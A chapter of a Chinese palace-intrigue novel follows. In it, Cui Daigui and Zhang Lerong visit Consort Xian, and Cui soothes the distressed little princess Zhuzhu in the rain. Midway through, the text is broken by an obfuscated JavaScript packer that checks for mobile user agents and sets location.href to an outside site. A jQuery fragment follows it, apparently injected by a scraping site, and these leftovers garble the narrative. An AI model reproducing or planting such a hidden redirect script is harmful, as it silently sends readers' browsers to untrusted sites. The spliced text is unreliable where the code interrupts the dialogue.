崔黛归回西暖阁后,一卷手札却是重新藏到了衣箱底下,裹在一件披风里。
她换下一身衣裙,只等着下午去上课,然而还未到时辰,外面却传来一阵骚动。
坐在屋内听了一会儿,竟是外庭那边的大臣们堵在了紫宸殿,闹得声势浩大。
西暖阁廊下来往的宫女太监都比平时更小心些,个个一脸肃穆。
崔黛归直觉不太好,她刚探了个头出去,眼前陡然出现一张脸,吓得她一个激灵。
张乐容笑嘻嘻地说:“哟,藏得深呢。说说罢,娴水阁怎么回事?”
崔黛归一听便知,果然是老皇帝的丑事暴露了。
“能有怎么回事?就那回事呗,你听到的那么回事,”崔黛归装疯卖傻,“嗯,就是这么回事。”
张乐容:“......”
她推门挤进去,拿起帕子边擦衣摆上的水渍,边说道:“皇上断袖,你早知道。”
语气虽有些揶揄责备,却也知道崔黛归隐瞒实属好意。
“是断袖,”崔黛归老实点头,“我想出宫一趟。”
“躲风头?”张乐容诧异。
崔黛归给她拿一张干净的帕子,“想哪去了呢,是有其他事要出宫一趟,下午你帮我在顾晏和嬷嬷那里请个假罢?”
张乐容便放下心来,却也更诧异,“这么急?请假好说,准不准难说,但你要如何出宫呢?不然我去找娴妃娘娘求个恩典?”
娴妃是她表姐。
崔黛归摇头,将九皇子摔下假山之事粗略一讲。
“娴妃娘娘本就着了风寒,如今又要照顾九皇子,却是不好意思麻烦,我打算去找一找崔贵妃。”
张乐容于是将帕子朝桌上一丢,起身道:“走罢。反正寿安公主和长泰郡主都没来上课,索性下午的我也翘了,你同我一道去先看望九皇子,要是表姐那儿不行,再去找崔贵妃?”
想起前番关边月冒着性命之忧跳山找崔贵妃,她却袖手旁观,张乐容并不乐意崔黛归再去找她。
“那怎么行?顾晏不得手撕了你我?”崔黛归。
然而吃了两个核桃酥后,俩人还是撑着伞,一前一后往启祥宫去了。
看到她们二人联袂而来,娴妃眼中是止不住的欣喜。
她吩咐宫人将牛乳茶倒了上来,又摆上小厨房新做得各色糕点,这才笑吟吟问起今日怎么没上课。
张乐容左右张望两下,关切道:“九殿下可好,摔到哪儿没有?”
娴妃面上浮现愧疚,语气都有些哽咽,“那孩子生来命苦,才坠地就没了娘,养到如今也不被皇上瞧进眼中......所幸未伤及筋骨。此次是我大意,没时时看顾住他,这才教他吃了这个苦头。送回来时,我看到他疼得嘴唇都发白,小腿一个劲的哆嗦,手里却还紧紧捏着那朵花不放,真想冲过去给那人一巴掌......”
她侧过头去望向窗外的暴雨,掩住眼中的不甘,“可这是宫中,她有太后看顾,我若去打了她,最后只会变本加厉落在我的安儿身上......”
张乐容一时不知如何安慰。
崔黛归却放下手中的牛乳茶,柔声道:“请娘娘信臣女一句话,自古道因果轮回报应不爽,那恶人如今只怕已然得到了她的报应。”
这话意有所指。
娴妃便想到了方才宫女传回来的消息,她转眸看崔黛归一眼,见她面上的表情竟是十分笃定。
一瞬之间,她忽而明白过来。
难怪陆徽之突然要娶崔黛归,仓促之间不惜与家中决裂。
一时之间,她看向崔黛归的目光不再似方才看年轻的小姑娘那般柔和,脸上的笑意不变,内心却多了一分忧虑。
这样的姑娘,弟弟那等刚直不阿的性子,当真合适吗?
正想着,小公主从旁边的侧殿跑出来,一头扎进了她怀中。
“母妃!母妃!”小公主语无伦次地喊着,尽管面色焦急,却反反复复只喊着母妃。
身后一同追出来的宫人连忙跪在地上,“娘娘,小公主不肯午睡,闹着要看九殿下。”
娴妃一下一下拍着小公主的背,直到她不再出声,才将她抱起置于膝上,“珠珠儿乖、珠珠儿乖,安弟在睡觉觉,睡醒了带珠珠儿去看小蚂蚁啊。”
“弟、弟弟、看弟弟!”小公主闻言叫的更凶,甚至哭了起来。
娴妃紧紧抱住她,按住她挥舞的手,“母妃给你唱歌听好不好?唱你最喜欢的“蛤鱼儿歌?春天来了,蛤鱼儿跳,蹦蹦跳,蹦蹦跳,小腿一蹬,扑通入水中......”
温柔的歌声盖住了殿外的雨声,也驱散了小公主的不安,她在这熟悉的歌声中渐渐平静下来。
娴妃依然在轻轻拍着,将她的头搁在自己肩膀上,哄她入睡。
然而小公主才困倦着阖上眼,忽而猛地一惊,大喊道:“弟弟疼、弟弟疼!”
娴妃抚摸的手愈发快,歌声也陡然提高些。
然而小公主却是一个劲地哭喊,不肯再闭上眼睡觉,更不肯停下来。
张乐容看得揪心,拿起桌上的点心逗弄,却被小公主胡乱中打落。宫人亦是手忙脚乱,九皇子那边也出来个宫人,面色忡忡,“九殿下不放心,让奴婢过来照顾公主......”
一只紫色的蝴蝶忽而出现在小公主面前,蝶翼轻轻震动仿若花间起舞。
它在小公主面前飞过来,飞过去,瞬间引得小公主目光随之转动,也忘了哭喊。
崔黛归轻轻哄道:“蝴蝶儿飞啦,要飞到花丛中采蜜啦,采了蜜给珠珠儿吃,给安弟弟吃,珠珠儿看到花儿没?快来找一找,帮蝴蝶儿采蜜呀。”
小公主听到这话便要下来,走到崔黛归面前,脸上还带着泪珠,奶声奶气说道:“花花、采、采蜜。”
崔黛归伸出手来,小公主破涕为笑,牵住她的手,转头期待地看向娴妃。
见娴妃点了点头,她才任由崔黛归带着往殿外走去。
看着相携的一大一小两个背影,从这昏暗殿中走出去,走向外边那微明而幽深的广阔天地,消失在茫茫雨幕之中。
娴妃心中忽然生出一股淡淡的宁静来,殿外的大雨也不再扰人心烦,而是短暂的盖住了一切,让人恍然想要将时间停留在这一刻,直到地老天荒。
孩童们不必长大,她亦会永远相陪。
岁月静好,莫不如是。
她转过头来,突然问张乐容:“不知崔二姑娘生辰是哪日?”
却是把张乐容问得一愣。
“表姐怎么问起这个了?我去问问她。”张乐容说着,不禁乐道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069135|162742||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“认识这么些年,之前只当她是个讨人嫌的,如今倒发现,兴许我也是个讨人嫌的,不然怎么玩到一块儿去?”
逗得娴妃笑眼弯弯,“说你自己便罢了,崔二姑娘可不讨人嫌呢。”
她心中的阴郁一扫而空,欣慰道:“她是个好姑娘。”
张乐容当即撅起嘴,垮着个脸。
“当然啦,你也是个好姑娘!你们都是好姑娘!”娴妃笑得合不拢嘴。
虽然声音还有些沙哑,瞧她精神却是好些了,张乐容便提起出宫一事。
娴妃想了想就答应下来,只是却说了一句让人摸不着头脑的话,“届时不妨去金银楼一趟。”
殿外的小花圃里,小公主站在一边看了许久,终于在崔黛归又躬起身子在一朵花的枝叶间细细寻找时,禁不住好奇走近两步。
听到身后动静,崔黛归转头一笑,“珠珠儿快来看,这儿有只蜗蠃呢,它的壳真大!”
小公主登时跑了过去,凑在崔黛归身边往里瞅,小脸上满是惊奇。
“我们抓了它回去养着,给它喂莴苣叶子好不好呀?”
小公主闻言目光中满是兴奋,惊喜地连连点头。
崔黛归便招了宫人来,正要将蜗牛装进玉碗里,却听到小公主的声音,“它、它不、不喜欢。”
她指着宫人手中的玉碗。
那只碗通体莹白,没有一丝瑕疵,是整块的羊脂玉雕琢打磨而成,价值连城。
崔黛归看在眼里,明白这是娴妃对小公主的爱,这样的东西给她用着,宫人才不敢因着小公主的病而心生怠慢。
崔黛归便问:“怎么会不喜欢呢?小蜗蠃还没住过这么好的屋子呢。”
“它、它喜欢这里......可以、可以到处爬。”小公主艰难地说着,脸上有些羞赧。
然而她还是继续说着:“......母妃喜欢,喜欢海、明月......不喜欢、这里!”
崔黛归一瞬间福至心灵,吟道:“春江潮水连海平,海上明月共潮生?”
小公主脸上瞬间绽放灿烂的笑容,毫不犹豫地用力点头,她看着崔黛归的目光中满是纯真与热切,仿佛一下找到了知心的小伙伴。
崔黛归突然觉得自己得到了一份深重的信任。
她重新看向身旁的这位小公主,对自己从前在心里轻易给她下的评判感到惭愧。
珠珠儿并不是智力有损的痴儿。
珠珠儿是一个心智健全又及其敏感善良的好姑娘,是个懂得心疼母亲与弟弟的好女儿、好姐姐。
崔黛归的心中忽而一阵酸涩。
她轻轻摸了摸小公主的额头,柔声道:“你母妃不喜欢这里,小蜗蠃也不喜欢这玉碗,那我们就不抓它进去,等天晴了,我们送小蜗蠃去御花园好不好?那儿可大啦,小蜗蠃可以从这边的兰花一直爬到那边的牡丹去,从这片叶子爬到那块泥土,可自在啦。”
小公主抬起眼睛,亮晶晶地看着她,像是在说:“真的吗?”
崔黛归点点头,拿出那只紫草编织的蝴蝶来,“那我们继续找花儿罢,给它找一朵最大最香的花儿!产最甜的蜜——”
她说着,忽然顿住。
是啊,蝴蝶爱花儿,尤其是香气浓郁的花儿......长公主,不正是那朵花儿么!